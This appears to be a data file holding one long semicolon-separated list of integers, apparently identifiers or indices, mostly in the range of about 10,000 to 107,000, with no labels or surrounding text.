54739;86206;101586;86011;101984;40328;64581;87506;32294;73664;54520;38341;48283;104594;105489;71371;96800;41688;69092;106507;107130;81053;14453;68600;10085;64446;27789;84646;80794;91360;68001;13881;53175;79680;106283;82138;62395;66812;66821;95861;11617;25005;16995;88098;43794;63475;12966;69623;77530;27682;64993;59207;96518;96996;41706;65994;95041;59649;95491;78159;49464;102401;102774;52182;95771;87804;44665;75134;18089;18960;76163;46719;85050;53243;13767;76250;31322;25099;102634;55097;61992;23884;32377;44575;39879;78587;56722;78189;103992;47090;30467;74826;56701;10602;101706;101004;46728;87568;103561;56323;66428;101568;62929;92547;45822;64611;52575;64733;50071;32122;91057;73038;56386;87112;85406;76147;15083;54795;29461;76677;94061;47319;68303;20475;81366;104862;21029;43236;87921;101296;94876;72279;34733;95724;42116;99431;30201;65318;47594;86082;30833;25158;68881;77211;79915;38446;11975;74456;37368;61584;31688;85855;50789;54347;65682;52980;15105;11864;28144;49120;78054;46974;95986;73573;17037;83326;43030;88899;36981;90443;81723;91026;48477;84906;30375;65457;30447;22463;30348;100635;11542;74263;21575;95916;34886;28943;95764;59569;37817;18754;65871;37710;95526;48738;44222;13497;75101;94865;28546;70247;74326;41022;86294;61089;90906;21176;69303;33628;63735;49964;86594;84228;13465;85631;44491;83705;93145;35340;84553;13822;56062;70713;14443;91832;30432;48840;16616;10495;66749;64831;86437;10918;65575;64786;90593;63377;77089;68134;82363;106176;60503;36591;45174;55243;10322;60104;37757;21679;72223;30381;82487;89334;63097;39886;47410;15106;67425;80830;31131;10756;34157;15176;37351;75324;52727;45723;11184;22209;28822;52230;14433;76573;72382;47185;43674;24673;45684;91954;100870;96705;92786;99286;26409;70233;60930;47230;10269;67861;69989;76502;72045;40473;101768;71597;66450;100409;75917;85230;84219;49304;99192;50916;72107;103159;86070;20155;67378;103426;75282;17112;73484;89383;15084;36410;28769;88944;85817;99115;71818;76339;100259;28540;62426;102140;106666;69150;62085;64033;56652;75146;73715;97946;48634;46723;83265;66777;100072;89341;81677;89665;83108;46973;85321;60971;79551;36909;17776;47727;41240;83467;85263;24525;97182;71922;27897;67905;74764;58305;102034;21571;104584;100527;91992;35406;96111;85889;43423;49266;71719;26633;21455;106938;71422;55963;96789;96415;72121;64834;60377;86180;15253;52091;81907;15920;16290;46192;89447;77899;19655;68515;29849;105462;50272;57869;12098;93437;61004;106864;93446;15545;14951;32922;56279;40100;36415;91866;37263;38871;86137;36106;55701;27545;50317;91588;72772;16592;43243;20859;46496;73347;71250;34135;84252;43780;101193;53250;80077;68144;80192;23637;12400;105035;47798;89959;18123;72774;13855;105133;39953;64015;62876;84349;40141;62160;35027;75305;71604;47271;36485;30251;18858;73263;87025;93753;58780;86447;35857;79061;45095;72064;19945;102648;65368;75510;41220;20960;64443;83233;45407;45778;61044;47350;15932;21234;39979;53035;38477;28140;76241;77227;46932;12514;43645;65034;13751;52213;82922;74608;103848;61350;14920;49498;75971;27657;66740;72665;31481;64133;60327;23938;48620;46813;49804;13037;65343;66469;82302;64987;99969;72571;51712;61024;43791;66990;26082;30236;53183;32115;17543;25512;105138;22720;13231;91798;14650;38867;93800;72277;82747;27242;100936;46746;11635;99114;78595;27534;42047;35435;71257;95676;76868;36982;29018;94289;17620;66848;67885;49009;11335;59481;55362;42049;75934;32450;83214;22807;72550;92613;14591;62908;25768;81374;41480;80688;68545;67148;83669;49976;26898;100857;54562;89356;102448;11729;12823;38738;100371;71155;28322;51530;42653;77814;54707;85876;31799;13695;88758;85396;47542;73591;20481;32046;29033;83356;35300;29103;40251;25598;91059;64346;63883;31035;19154;92737;63270;77905;14899;42649;33218;88949;89520;102423;16621;101109;73776;104185;99092;105553;21532;14933;41819;95617;99634;22396;64290;34847;19203;87306;19193;24705;82096;45688;95452;21088;13973;13666;43666;78113;55851;57908;22956;14344;82876;47500;86511;47163;82000;81700;19480;52856;45212;87198;48159;72624;37834;101823;86651;23112;39528;12264;61059;73048;30536;86363;95626;32490;80826;47583;35790;105377;106042;99084;60911;87937;62803;106346;13777;105295;77632;90382;49897;55618;91232;16850;39376;101922;104710;53615;25940;15521;15091;85564;60901;31619;44047;70990;21982;53319;72557;101280;102026;44290;18901;53694;32965;21135;93761;31513;54904;26841;81211;65105;63104;53452;76779;88536;16086;67307;33647;95016;70294;47312;19771;34024;21085;76098;57814;22338;18727;97768;61985;107077;90421;66961;22194;74081;106138;22600;39208;76880;19925;87864;78605;83971;12397;23646;18933;102819;36706;78955;45403;73713;46436;99642;14723;77645;36724;53439;51175;16602;71123;89582;79702;32257;73417;100229;100895;10896;87820;69694;48836;72935;100904;82039;24310;105216;22661;49454;89109;60256;83494;79718;46514;35362;62955;70251;29792;91492;23857;64307;106499;79756;20552;96584;44158;75519;74626;35358;42800;71874;55965;83045;67889;91410;26411;83348;47190;68493;12536;18566;80685;69131;54304;45252;53329;18302;30870;80472;20810;77781;85801;13475;37833;12249;91373;102996;58171;21965;95284;96683;38462;103010;44527;13185;90923;64931;106352;93904;39621;63387;10963;37639;103228;89824;43982;67933;12599;34313;40268;80744;42963;95363;46603;102228;28136;26645;105693;66737;27656;48884;63920;64363;29887;82033;102810;16078;10371;10849;101910;49402;49801;77088;103680;80956;66152;26288;93244;82883;22564;102322;50786;18527;26126;56773;89233;22606;55245;77411;16462;80702;33853;16245;87130;44188;82338;96642;28214;53494;41571;74348;18556;55459;52467;34422;97088;67180;59159;15871;15604;94691;78044;97349;17482;106017;45863;30439;97625;97460;30887;20664;84950;100537;37827;67574;10802;54167;30753;55119;46625;104354;21366;97929;38876;54051;82846;50290;72988;69790;37121;97199;81537;46096;40939;43154;92922;106854;43715;33438;64690;93875;78726;55670;69573;105461;75290;32594;61572;104319;48907;76953;78132;54301;60748;79206;47356;49515;32988;52605;75346;52588;56830;22558;12973;15384;60908;100852;46168;84110;102051;94300;65217;12555;59827;41223;58724;64186;87695;32362;69982;17113;23986;97382;57717;56699;72472;51564;87677;27215;58475;72670;71927;63186;55467;12835;82649;84149;93027;29862;34547;99279;23497;76645;67427;77289;83221;47049;22431;58572;49018;45902;25547;20104;68541;65037;85951;83579;41468;102987;24653;71376;73614;82558;41854;28127;93910;72447;72449;102040;71404;16704;86805;18122;49282;10413;77694;36689;56961;76288;26362;93754;54286;58004;65769;36349;58162;31234;85007;72083;87295;101603;20323;54667;81080;16833;69886;33147;52926;62482;21319;85388;25909;100941;81498;35656;21378;95569;59565;81471;24441;38929;106905;104997;87048;37122;44824;99902;65152;57741;32587;58605;39494;77669;94708;26806;99920;18267;41002;36600;60356;55643;26718;58879;48735;35895;42881;42961;51054;57336;12482;96183;11995;36888;31209;105415;19407;96062;58936;20662;40905;91630;72561;94198;82850;83683;72993;30362;49954;37047;44707;42634;69318;30944;24399;27569;36605;105047;87744;51214;38442;103643;90754;79380;58298;89143;45967;54335;46044;28080;13804;25162;72340;24168;89746;83967;83294;94186;37321;42953;68488;96802;28422;23411;47457;83658;53868;74672;28406;47330;52482;34320;60618;16080;40914;87146;200105;86114;15618;62511;22966;86365;85271;47147;12861;78522;93780;16070;15260;58948;66972;72661;11553;82295;78286;11248;65117;60707;17458;92675;29225;68906;200119;43167;17406;97538;100163;72906;95812;18939;64778;53349;104224;78750;85047;11925;62385;17765;45409;15393;73271;73295;37976;38877;22963;10547;34136;78671;102486;87903;42105;44869;36486;56482;85086;106691;46426;40924;19084;19739;96604;10038;85902;29831;68810;92898;52136;23638;73670;53196;72970;15683;93055;64305;20413;12608;90901;94615;78829;96951;93195;102494;17668;68882;25408;23413;12697;60402;75922;79589;13961;22274;56513;10984;26594;35269;102175;13153;55123;41795;43461;20017;79201;72708;91158;60847;56962;51098;43452;16329;53784;37609;60133;37217;69119;17376;99145;43660;34098;81204;22493;54784;27884;51507;71087;41835;75944;97657;90892;26721;38181;74205;29194;89417;82200;102374;40253;32364;93782;51219;43859;61075;59620;56351;64271;83946;91809;10073;102977;65897;94568;33172;36345;59383;17649;39778;35156;28971;28372;12320;31213;42114;71130;19978;86211;43299;88792;81319;102844;24732;64856;15292;19850;36262;63045;28491;36658;84942;59405;32686;12999;61109;97911;91037;19837;20439;30742;57641;103141;79444;32131;53958;32772;78568;93567;90629;45702;102222;104855;53721;97059;64029;46135;75557;56686;84460;41207;50222;81897;101207;15606;47366;69913;53705;97435;74520;50153;90085;86989;81946;83113;36336;22085;15838;25052;21412;10285;61120;35946;20374;38827;72333;20207;25403;16710;13235;78864;86203;68002;101932;64651;51686;42409;52674;33269;14221;102605;73532;68593;81357;36752;78715;20821;35405;107119;100093;83654;49286;25244;57910;106920;32874;72769;87274;69712;11332;51869;95261;30896;39553;78535;89235;55239;52476;94653;88031;54705;104961;23223;76209;14935;18410;17663;83051;99356;82932;93182;83025;99440;62282;21605;15705;79914;41747;99473;19890;18552;72456;11414;16003;49426;77492;80752;100338;88581;49022;76778;45641;60641;80110;28218;58686;70978;64142;28533;80693;34816;96226;105975;90118;54365;14769;101189;52227;80594;49385;96400;89712;53127;38343;105244;20929;92988;80060;64317;56718;28591;68875;23159;70404;53932;99725;13271;12360;44093;30249;45410;21161;15258;99275;31199;75776;80952;36794;79903;93864;91818;84301;10622;100439;92954;23115;61251;60518;28767;28646;71159;21553;31830;56540;101002;96589;66145;54241;96088;72811;63595;29968;28639;45619;79617;80245;79830;50274;67441;65822;48350;40848;53834;84372;93617;100795;73334;37687;89107;45531;59796;22287;89008;41113;19889;11520;40961;40472;73100;87752;94493;64982;106415;43776;42201;25881;37616;46500;53234;96135;81938;23774;33025;23163;35952;102517;17123;31443;25726;78733;13923;99132;43014;13713;29256;23655;85882;35580;75351;57150;57611;24435;75829;89391;33047;74653;62122;26040;53841;44576;66315;72161;80461;27027;73485;48507;29370;29974;100451;83907;32589;30433;40157;83406;38945;62590;46259;53030;31781;13556;39814;26338;67277;93897;62314;23311;53535;44583;32535;21798;36857;100497;57345;75589;12843;66800;62032;58991;84100;49041;32627;11475;106387;77631;94518;33464;100827;106583;78004;18975;89851;54646;54480;20279;26350;87595;103069;81084;97065;86488;24583;63684;78056;46448;102952;39793;64507;84249;63815;18217;29391;76367;12126;53609;60547;10633;91099;93833;70054;103465;82292;56162;84863;39301;61298;60780;86845;41030;47268;77282;97467;52127;90039;55610;85012;57219;100016;35410;63888;75184;59661;80166;77653;35870;12727;87045;73935;82369;89882;30900;29505;45023;50775;71605;21536;36067;93093;95400;62974;67337;85042;23812;13720;74862;59448;101487;18708;38848;92001;20140;81108;34358;92377;43831;102289;12206;56172;87717;16521;39729;41965;37173;69177;67056;45972;65450;60945;18950;29279;53426;105507;11681;33086;51835;77479;53630;26112;35464;49619;104008;106518;67334;57082;96430;23152;18418;45044;43295;24460;101028;29034;43160;72415;71300;33384;73642;87576;22650;102863;84244;45748;20076;49483;51604;66694;82072;76060;57134;63034;53052;59890;39049;18140;33051;80575;46510;48921;40382;31958;25790;34124;82524;93726;24809;32456;69633;16560;49090;58497;51460;55008;52276;28454;75508;31757;102916;64312;86207;42998;63215;19625;61926;23664;21973;100117;84720;22562;50218;45025;48817;22545;102800;21335;53146;95911;97761;79704;93714;68475;53056;57685;30096;32672;71749;74969;50382;39240;60501;11810;63616;51912;51030;42569;39747;64108;31376;70642;52694;59771;91285;89082;33284;67595;40697;73877;54396;32663;74752;20589;30888;87617;51242;31940;28458;100295;22934;64964;103028;55657;37423;82286;67267;15467;101597;69207;14565;10700;84159;80081;31182;61803;77793;38599;36671;85803;79338;72087;20478;91266;19755;69211;52825;56205;102056;35098;54417;54611;19809;22055;97472;52286;69869;45114;62518;36911;22868;40999;14244;23958;32958;48856;11485;61049;19474;89857;69991;59231;12095;97857;87041;87685;26031;66787;40807;94624;22266;100602;58663;58300;50335;71327;63685;19886;51334;15892;49134;79415;73701;79863;84117;85975;18170;76935;13538;61116;11352;99427;29930;71759;43788;101658;86076;35918;88116;92806;59577;28141;50929;86734;24408;46833;19985;59369;21120;103438;93526;105863;94885;47635;94178;105915;103548;105878;64841;48412;37807;72229;28032;53703;96767;89975;74984;19330;57508;78873;66600;45825;11568;23553;64973;29214;56182;62684;27402;34167;75512;69422;42754;29390;91693;48505;97160;39741;23255;97365;101199;104928;19580;61339;105717;43077;56069;93915;36315;11347;26154;26761;94745;60749;106225;15375;102241;27135;13295;17578;76839;38875;93342;39578;31253;88408;23671;79950;104627;99961;74434;80497;60720;71482;64806;105894;45990;31396;40273;100886;59701;56936;78281;97179;55469;85149;62188;27520;61012;102404;92243;78363;49988;38124;78280;10822;82048;22347;56557;49694;22229;93299;65699;91687;35166;42316;14152;58420;99851;94427;102709;92426;100034;59487;91012;16583;82682;81918;54354;28401;23217;25083;107093;39901;41178;60681;24867;82629;40209;23680;58260;70837;102530;89386;62863;24021;99650;62172;88987;68339;67416;99259;48388;45934;77714;93166;27804;85175;86319;96050;67529;77109;42319;90494;105815;97224;19957;52029;79169;54509;50717;44460;30305;29465;79553;26878;15333;13702;200027;49681;45167;38318;71302;84798;50165;19768;35011;27918;96351;34902;23151;97282;82627;107131;53678;63402;69123;85342;106498;61210;83850;12948;15702;65732;97277;43756;12440;66143;48181;82596;48771;85195;86694;79193;102281;81142;53213;22130;106720;100449;106695;81293;70350;107021;64411;49196;28396;13591;80097;68816;21604;73258;87132;55992;97595;94705;24535;25222;93894;99285;72544;102249;27588;41904;93154;11589;21341;94113;78260;13177;55287;50806;101455;46881;86383;50028;24670;43093;82721;36898;32829;82895;42620;106860;30118;77144;72271;86667;57320;85630;20085;16380;103858;105051;33806;89695;66375;93454;26038;75739;63922;11267;18947;65001;54673;64560;52556;43384;55651;92275;25590;105312;12594;105899;12040;82289;28034;26524;10409;75354;65448;19859;68464;99001;37658;55910;62126;82995;11159;58152;99170;42680;16513;71608;42983;20903;15456;46793;100128;89344;51650;43426;53010;20580;92952;65334;73054;91544;23443;105645;95501;19737;67256;65681;19670;91904;26477;102923;78064;33851;53376;73663;95783;58414;11934;89750;35600;55462;21559;45639;38969;17328;64594;95934;65057;59840;21291;64218;91198;62620;40524;88575;62836;99147;42451;78199;93665;34104;29758;40439;20964;36683;44231;57483;35278;25872;26931;96191;91900;76292;12378;18600;67878;86602;83506;27979;84786;71788;59144;75856;87368;15803;63603;19609;82220;38004;80345;45672;69156;58322;32178;97278;80300;72481;33939;81628;66235;50661;58617;71408;70312;51678;45193;39056;34871;24047;53979;18889;27632;42650;74369;60176;10575;63833;71556;47023;34575;25342;86278;33065;28585;63046;15125;39521;33033;92727;99368;74424;56255;58783;32719;30518;86189;11796;66258;63238;95488;32767;83064;63763;45052;84362;94385;14818;15062;27555;24922;58567;82527;50823;63980;105860;88518;32180;89090;92061;67248;40095;93472;68389;12955;68702;90422;82593;33073;31412;90611;65802;106426;37940;92041;38911;16645;92341;28029;73906;50116;69169;25973;12803;25028;54585;13183;79275;70427;20024;77187;102148;36584;75999;12949;105638;55378;49600;21065;38974;37052;79658;81694;70953;20644;93097;77993;29681;82005;33174;34085;82022;50828;26118;91363;65918;103744;95291;18300;75117;84229;28333;32204;40878;85784;51932;28836;78025;11801;57304;77582;71332;91302;39598;82381;77331;73262;28402;40881;105364;78497;73976;59096;81952;18026;90925;91053;45333;95755;67393;20932;85430;97645;13119;97057;55270;33709;32320;60067;24177;73709;48237;97576;70691;36050;51944;58464;53474;46670;86174;39511;10999;34771;28600;63779;85464;65711;27109;104809;84780;18859;52008;65584;95784;91117;67892;44886;33932;23176;93856;76412;20668;50918;46861;22518;60732;60220;58552;99918;27502;38128;99108;94021;59829;14532;95039;84773;94681;71271;45243;51238;74354;41397;35972;72063;64976;71714;26025;38044;12838;67037;105189;55979;16191;48713;85510;59680;76877;10084;32588;47689;63957;41188;65225;36834;93820;103360;44391;92862;13587;19183;25910;48585;86540;39555;28198;12529;31543;88927;96179;95661;58541;52240;50545;47116;61617;85740;78121;71094;35645;99957;19021;63862;104770;73965;103400;57580;13707;96602;43883;31834;70824;25588;39810;81383;43212;69189;65506;19864;27875;96353;74388;29949;82623;82533;27923;26634;81096;82935;29539;92783;94766;41998;28073;14397;34241;81634;35210;51453;76646;104835;49101;86632;15539;51220;29023;39038;68826;49046;14429;37185;94184;46073;90506;51679;64709;58995;29179;54296;31177;59919;17189;13618;83775;22136;45915;31423;71693;65549;85316;93384;101198;21130;92370;93538;34061;88497;44147;75623;106906;100658;28316;83854;75941;93678;76099;30423;200026;77356;92329;88599;10420;35419;74379;35761;43177;33588;85221;62559;32652;76768;85937;97554;29293;21802;13788;103192;90751;93006;101635;15099;94899;32254;88834;78402;22865;104748;75081;22096;25882;86662;73952;78001;52107;42679;41796;58615;69833;75403;11263;11297;32313;85099;103673;101380;45134;65432;91221;78717;63209;57875;41809;23409;60848;28470;106329;94554;48711;69551;83923;67388;18097;83087;100554;105565;97352;88386;41655;82256;68575;29013;24744;59428;100976;30863;66013;86735;19137;78770;41719;94264;75156;97220;103795;103818;37203;14925;83739;85879;19727;81749;14247;65968;82777;64884;68271;61638;32887;13342;21348;16434;14419;102480;86312;50210;74001;51580;66239;14999;50712;101583;85747;70223;66806;61201;62846;55390;32255;33793;101266;93046;27230;22033;18488;104828;47246;28251;103642;57790;72342;26489;100657;70180;85355;84408;50774;67013;76853;57953;57009;22202;38060;104390;11665;13511;75315;28394;87312;52932;28324;85701;23818;63552;82318;17136;48680;90661;69367;12613;59485;76882;67752;33102;20548;36031;84447;57801;25635;100855;48690;11046;51437;87842;89808;70171;24202;40529;63398;57278;14312;63278;25166;69988;34598;80968;28718;55514;20197;53499;46588;90144;16670;35115;60637;10128;59901;28433;54283;54219;105679;99163;57784;59432;29455;104226;74341;17022;47377;54239;47731;51646;49156;45810;87019;29902;93594;60638;58610;17026;44713;36406;47645;50409;55392;48540;101192;99699;18909;77936;35242;92800;63531;65995;96048;83112;76593;67457;63272;53178;90821;105771;91111;67379;45783;39502;105028;106486;84398;74796;23019;10184;84417;101858;64805;75866;58979;69611;75709;39924;84702;105810;49477;65324;29916;77325;27219;68847;92684;103269;28012;102015;56676;88146;91487;87821;105619;31356;104711;85854;31124;103880;97384;68384;47764;22125;64550;58699;33409;39472;39567;31642;104382;10946;49124;52321;20136;47518;16469;36879;30344;87464;33784;89892;105027;68240;78186;68335;20126;40245;38730;35228;28952;200019;99639;45701;41736;38429;86254;78867;99922;44879;20703;27462;28262;47270;10392;48910;77274;62345;27249;26394;67962;34474;83495;29640;69511;52495;62861;33415;38522;66659;53918;59787;22212;51887;38327;21048;97783;31534;90081;54105;41938;27187;72625;36503;31852;76155;78552;80941;69324;11358;58859;67535;85004;93614;71151;49590;41572;13806;10974;41869;62177;95706;27849;96099;88593;17822;83993;89736;78501;85218;78384;73542;101013;82481;101846;19430;24344;19683;99692;56782;26621;58671;91115;75244;74800;50881;85335;83523;65193;31583;23480;40300;40197;77896;104664;26667;70229;61086;45995;44216;28455;97975;10758;40393;78455;89913;41804;29634;31326;43445;41335;60694;51537;76103;51466;32135;101891;10786;66026;10131;30343;48368;71315;96488;103733;23428;67435;20027;57676;75223;58878;99211;21416;80084;101234;89532;70161;67877;20501;36368;28852;33632;41260;97636;17056;104611;90953;43092;85793;84851;77948;99382;88452;45184;43215;90537;63726;36560;106266;72899;42040;87362;72450;21296;44769;33031;10597;103013;71839;14828;87195;61405;54184;68020;19288;87794;86172;70086;66119;56155;75697;91931;96498;95354;72578;84491;48526;42455;102907;15424;70227;49119;71969;16951;49450;18204;47534;60878;15779;89169;90896;13064;66571;30751;55154;66018;17680;25375;47079;81823;106780;67079;34638;52087;48372;14452;39719;93700;103300;86126;18744;49697;55937;15931;99457;24128;101406;84882;25324;80023;97309;12310;97567;41478;68947;63334;37127;25449;62388;40964;71870;70360;73278;14660;74346;87361;57719;90673;35793;32172;99591;50690;34538;28690;13842;73105;43529;18387;93969;52354;101518;53869;26403;89947;21326;31692;31864;66048;33200;37174;106719;96366;35456;36269;66580;80618;44418;14750;27547;100813;23193;69962;38638;29079;57742;78160;96594;19285;38211;92237;90688;63868;67413;66131;73358;46147;60036;20802;35138;66869;103549;104470;16501;51705;68873;99568;95673;94340;22876;55167;101516;32234;72341;93024;90368;35933;57362;85575;50909;74669;57651;15175;83947;77532;91150;70736;62022;85358;96794;20622;63870;50286;63737;73104;106818;94000;21705;92906;43497;79954;67230;73537;40400;71983;106830;89163;43283;14706;40545;103967;17433;19603;20961;43963;51628;60007;11697;25834;101506;103544;69735;27253;100002;86077;90560;63441;27662;34883;57314;64013;23968;79654;54380;79616;19162;89333;32529;57449;17410;10816;65903;84861;30065;70249;31693;47131;52262;99044;79692;57929;48247;18112;79138;95883;58814;105631;58163;81711;65505;10616;17248;15933;14363;105074;49254;97699;31671;101005;88421;35259;10081;101097;96855;70550;44620;89751;76604;64705;36627;10182;56779;57906;94349;72110;14827;64059;40509;17334;45952;50704;43890;58646;34489;104604;15318;82227;29376;13214;18142;99953;35051;55808;50795;71121;101329;102720;88986;43677;67708;106963;81232;46759;64526;42663;47165;13075;25317;46815;66493;56019;54833;39109;71227;76918;12819;31081;29875;64919;55351;61365;66087;80361;26973;54926;101184;29942;85891;52355;100557;74217;57394;23430;88158;39894;94979;30571;66046;18922;105706;77100;18485;52657;76548;95013;14293;91416;67620;28070;63840;55801;16502;87605;57297;76360;80850;29868;89070;102100;86937;78456;103618;103151;102607;22759;65453;74011;22945;78432;74274;46718;40958;68482;52726;54530;61944;63265;89479;36811;59174;72644;60597;70287;103654;70474;54767;20923;24478;91933;92804;70764;59582;66198;69535;33841;102825;96798;78149;76248;26042;66620;99782;90402;74422;75659;38048;23342;23236;74250;28189;48299;68638;61962;84315;101700;22980;94798;70735;32509;75520;23562;38861;15530;73724;59768;25780;46110;90845;105022;28675;42805;20448;71593;83989;52018;46768;45613;46472;34472;76153;101152;32020;61937;51622;89979;36915;105252;85340;95475;89763;78875;37959;103288;76503;58536;34814;14217;34280;104188;22838;54278;53101;24010;88405;34173;77751;71340;102327;70431;75719;99447;44809;90078;62306;27016;87384;24099;32358;64233;54625;44800;16280;77183;101588;94241;43622;102609;80085;30807;106160;89924;23627;80326;40883;44402;33315;43891;87488;42440;70707;101031;89949;19517;89041;57529;46960;54771;39984;48232;27837;23554;102671;82650;66799;89377;91366;43451;76507;67397;77840;84243;63121;24501;92226;57446;29232;91923;95814;104161;82864;105542;71517;93387;64556;38707;77188;55190;56332;80626;59662;19216;25280;21492;35284;60990;97411;47835;81284;29497;78236;70779;42421;11928;87311;50682;60531;14403;13548;41849;105579;106422;43918;31221;76787;31734;44354;107078;93202;48343;21992;49830;23613;82818;69454;33472;83896;85130;24789;71115;94223;51798;19127;55405;24024;32858;12806;100402;47870;34979;86289;40479;13796;22443;17041;28974;46790;90391;88689;68472;74717;58520;82199;33383;10197;73188;103386;17502;31100;45420;103689;35214;89711;71252;70005;33660;93467;14852;82999;45903;107103;42882;79623;46959;27887;51730;72145;71134;57265;64151;68761;53448;17576;71476;85545;17975;34713;103114;49580;17133;65512;13589;60964;81518;10132;19520;42129;10658;16954;23950;96508;39604;23036;14412;81032;92668;86403;93560;75964;63935;16749;26039;66815;28563;71557;96516;91051;54570;38311;104036;79062;50780;49509;30952;44622;14078;24476;71810;30117;73816;105494;38453;106637;71851;52089;24020;21428;106045;92692;32316;73290;57094;41300;91116;75075;89927;13817;72729;95004;34151;18816;95496;92661;84273;34159;57437;82128;51449;57177;61685;69724;86687;19729;33062;106970;13124;60500;56565;79427;74572;39692;55640;58568;63804;31307;61634;72435;67294;92014;19025;69512;62309;11164;17412;23018;59720;40930;103931;39206;37787;200118;72894;29765;40264;78289;23933;85480;53149;46343;11303;57477;66015;36713;65358;78483;36516;87423;49789;93465;50925;52683;97196;60927;10931;80865;27098;57567;26730;102680;11523;61413;92244;51821;23697;33561;84944;10968;74570;84992;101125;101740;81265;47546;106626;13856;103758;63766;10588;40730;26026;34303;88458;99323;80416;28928;200114;64653;49436;40072;67519;17753;101819;89881;74397;86415;29853;50803;62483;67311;64270;40247;14503;50834;25905;44911;69470;74396;54923;68279;102467;53599;42828;53260;39065;104098;61129;59672;77612;43099;99779;26309;11564;64609;61131;104168;107034;14638;17484;80759;85110;67668;14747;91093;83377;92048;73827;61279;25255;40332;61142;73898;43705;54541;33605;51587;50558;100970;26011;87203;102954;55195;68529;24616;25621;63819;50613;20725;87186;105039;15989;11180;65803;88471;28832;18976;89484;50228;59654;96929;39755;18572;51539;62899;42174;72737;24539;63128;84044;79768;53170;41564;105889;59688;63951;12457;106305;37040;47011;65236;69859;42386;30346;86379;26680;67192;34969;69497;77228;101094;91559;79225;50472;38701;36837;42060;82541;28159;75344;57429;85808;72467;28013;83610;14164;38139;61135;24569;50399;51278;60850;55511;103441;38194;60738;32469;13081;105038;15957;52195;93399;23447;12295;95896;102776;91377;51534;87223;30256;68380;37294;50475;96561;99588;64646;106874;57881;86346;21430;76315;20499;91120;78084;100435;86073;70495;38777;87329;78336;74873;101021;67203;28276;54696;21609;91479;63240;18260;81507;81906;77045;15202;60339;106890;88919;33008;19704;97794;48173;37113;71165;37750;12337;30111;63681;13156;65012;22633;19926;58329;11838;77010;94180;24294;52500;55912;10045;58087;94843;23749;62344;70240;92710;29998;103240;85783;62726;47698;101954;65860;51663;48676;75131;69888;31866;18785;14201;64920;105953;84753;82183;41171;19838;102184;26049;24630;50073;26679;100849;91048;55369;90784;93626;78045;72239;75986;70791;36425;94486;65661;45569;16656;63357;84428;39992;60442;51707;81629;45441;10311;56908;58691;77280;83735;48855;24969;68518;95682;42561;13609;81410;51516;35235;47170;48552;20897;81975;60583;100856;71755;26205;41310;15078;93252;28709;12880;35432;91206;84430;64764;32485;105788;25413;51412;11863;85493;38229;59592;100204;12058;73839;10920;82827;55642;20159;106404;45305;24428;47568;26146;79255;75943;44424;88394;104300;41671;48338;20986;35694;49168;82727;87378;64989;47402;69446;46137;70675;81399;73628;85100;61732;65346;17204;73374;100303;47597;48811;44687;18996;47509;47316;51691;70144;79194;27501;93397;49916;57200;200001;77654;40255;106749;30136;60448;47486;44450;41194;31042;89526;87509;43801;17292;54854;86804;72491;49564;87892;73013;67521;34055;49319;31904;101407;45581;90618;33374;39656;86047;13878;39111;104784;75550;97193;36616;15661;93414;18794;18381;83078;22163;28869;106133;87189;46480;105546;61162;18671;40705;29333;57234;37229;96849;90377;33069;65799;10690;96221;15699;100967;23820;92070;78629;11818;18644;21781;21437;25903;69830;21888;97188;35367;79242;16760;65247;86981;51945;54937;81309;84598;65920;41187;19559;16454;41729;40040;70395;16009;58889;69046;89168;84088;15391;41391;16791;80104;43526;64209;26999;39875;28684;49866;77842;27827;89312;16289;104130;93609;72956;67140;71211;86457;70893;28907;27078;62305;20881;30056;38549;59331;93883;31313;46986;38265;18807;47122;106881;18871;45950;13401;53897;72832;58214;27911;76704;75818;60450;70769;25850;56507;25500;27476;70938;90852;64027;76843;102083;89891;62406;29229;69236;31405;59118;102576;29434;58687;70526;53798;50447;68116;95897;80722;45294;48923;92781;81220;54959;51028;35298;77106;44744;86425;92941;12065;60110;39451;51364;96177;26036;10447;75702;38672;33534;68984;101389;89323;31629;26606;106412;57777;29525;99149;21586;35254;48467;24791;94675;73219;71691;63513;47386;40867;36134;39209;100687;51339;74115;24172;17779;95424;60918;66771;86334;32951;49864;76813;47191;45189;46812;64375;106834;16333;84530;18936;38017;84380;74226;17020;57514;100428;69630;79382;31121;43635;73438;85207;45203;34534;91650;40103;96511;89278;73632;100130;59529;35760;33285;101833;71200;36227;88620;23666;27457;26637;92418;79357;55204;106807;64575;71230;85903;24839;75238;105627;86214;82547;106547;58345;39036;86147;25277;94142;32659;53395;61876;88470;84122;80737;104950;96882;54209;50133;17664;15660;76977;14190;19109;79391;51251;75622;34877;15415;22924;61702;94743;78293;42975;21149;42436;20077;14139;83077;44315;97298;68165;29905;23279;21453;47238;33058;43301;34897;75960;52578;88556;26463;35018;37081;69167;61224;103014;27723;52675;27797;56672;77564;42151;44516;36956;76525;79228;10685;19232;75483;58119;10781;75413;59197;72951;14811;30971;104930;20636;44612;35407;103729;22012;45464;106540;71443;79823;100611;77867;45241;14642;31076;52514;93964;83557;10543;105426;44487;85244;73907;93912;47595;92526;75300;69792;91769;99937;99858;19490;26280;76303;89434;15673;82916;57640;84468;53543;56812;49026;52112;65002;51134;26789;63277;31075;66346;60885;78787;81895;25930;103048;89256;40159;90699;92961;76700;30943;64817;63497;34386;93078;49783;66638;27310;19868;45747;39888;106922;26152;83793;40856;27673;77882;82837;13779;39890;47024;52421;30832;35663;46880;10858;75294;93371;80750;18662;35061;101714;86375;73069;74992;18487;68719;51011;45290;40391;37849;50141;51765;200089;43375;44750;14606;99478;97012;105781;39374;100512;58167;86224;99610;90809;92965;17015;17455;10301;83160;26517;79946;62218;17806;67434;44066;38644;78987;76640;17598;26378;28264;62141;92423;22792;89149;52643;45183;102975;33910;97528;104914;85533;80809;94569;18347;17423;76126;13650;63568;97727;87923;66088;25602;10375;32724;105687;11604;78449;69836;88124;101174;73282;15149;101494;71770;23205;26282;42453;66384;42706;23101;47789;65466;76715;57181;35196;16767;18060;31622;88141;96413;34301;22608;21891;51209;97810;92094;94231;34316;20234;73084;106473;107095;65261;41529;56572;11135;94307;82078;70685;92864;93721;106848;65159;39186;30452;14083;18946;89828;74771;78195;31359;68854;21826;10027;49550;46615;60937;97148;29417;86979;78413;36180;95748;62968;19356;106033;31290;15775;68272;63722;63943;66107;58741;80829;40219;12328;17058;75323;19767;31425;36669;26812;25458;30182;17300;56217;12624;44283;92841;32211;95619;102729;26728;23867;90470;88447;79000;34642;77832;75200;97244;82441;59258;87108;37231;73529;104466;43318;101850;77898;23741;69091;13379;30263;95556;74334;29335;61542;54049;85627;100339;36791;86471;94750;62911;18043;34825;51637;105848;69752;54094;22068;101715;30750;90824;59638;28235;61563;63690;50820;28167;55042;13210;36722;10401;